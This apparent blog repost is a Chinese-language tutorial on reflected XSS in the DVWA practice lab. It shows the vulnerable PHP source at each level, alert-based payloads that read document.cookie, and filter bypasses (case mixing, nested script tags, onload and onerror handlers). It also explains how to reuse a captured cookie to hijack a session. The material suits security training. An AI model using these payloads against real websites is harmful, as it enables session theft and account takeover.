DVWA(六):XSS-Reflected 反射型XSS全等級詳解


XSS 概念:

由於web應用程序對用戶的輸入過濾不嚴,通過html注入篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。

XSS類型:

Reflected(反射型):只是簡單的把用戶輸入的數據反射給瀏覽器,需要誘導用戶點擊一個惡意鏈接才能攻擊成功。

存儲型:將用戶輸入的數據存儲在服務器端,每次用戶訪問都會被執行js腳本

DOM型:文本對象模式xss,通過修改頁面的DOM節點形成的XSS,可存儲型,可反射型,取決於輸出地點

(關於DOM節點,DOM為Document Obeject Mode首字母縮寫,翻譯為文檔對象模型,在網頁中所有對象和內容都被稱為節點,如文檔、元素、文本、屬性、注釋等,節點是DOM最基本的單元

並派生出不同類型的節點,他們共同構成了文檔的樹形結構模式)

 

XSS應用場景:1.利用xss獲得cookie,2.重定向,3.釣魚網站,4.DDOS

記錄一些一般的payload:(這里看不懂可以先看下面的示例,看完返回來看這里就會明白一些了)

1.<script>alert(document.cookie)</script>

2.<body onload=alert(document.cookie')>

3.<a href='' onclick=alert(document.cookie)>click1</a>    #點擊click1時彈出cookie值

4.<img src=http://192.168.10.128/a.jpg onerror=alert(document.cookie)>  #src地址錯誤,然后執行onerror的內容

Low級別:

觀察源碼:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

源碼沒有對參數做任何防御處理措施

下面給一些基本的XSS攻擊

1.<script>alert(‘xss’)</script>

2.<body onload=alert('xss2')>

3.<a href='' onclick=alert('xss3')>click1</a>    #點擊click1時彈出xss3

4.<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址錯誤,然后執行onerror的內容

例如我們這里輸入:

 

<script>alert("xss")</script>

 

 

 

 構造獲取cookie的payload:

<script>alert(document.cookie)</script>

 

 

 然后Logout 用這段cookie值進行登錄即可以被攻擊者的身份訪問此網站(在未關閉瀏覽器前)

 

 

Medium

觀察源碼:

 

<?php header ("X-XSS-Protection: 0"); // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user
    echo "<pre>Hello ${name}</pre>"; }

 

對於script標簽進行了過濾,下面提供幾個繞過的方法

1.<sCriPt></SCriPt>大小寫分開

2.<scr<script>ipt> 類似於SQL注入中的雙寫

3.用別的標簽替換 :

 

 

 同樣也可以獲得cookie 之后就可以通過cookie以被攻擊者的身份訪問此網站

 

 

 High

觀察源碼:

<?php header ("X-XSS-Protection: 0"); // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user
    echo "<pre>Hello ${name}</pre>"; } ?> 

分析源碼,可以看到,使用了preg_replace正則表達式函數,對參數進行過濾,查看源碼可以看到對<script>標簽進行了嚴格的過濾,但沒有過濾別的標簽,此時可以通過img、body等標簽的事件或者iframe等標簽的src注入惡意的js代碼

執行:<body onload=alert('document.cookie')>

 

 

 Impossible

觀察源碼:

使用了htmlspecailchars函數做了html實體轉義,無法利用XSS

 

 

 

 

 

 

 

 

參考文章:DVWA XSS詳解


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM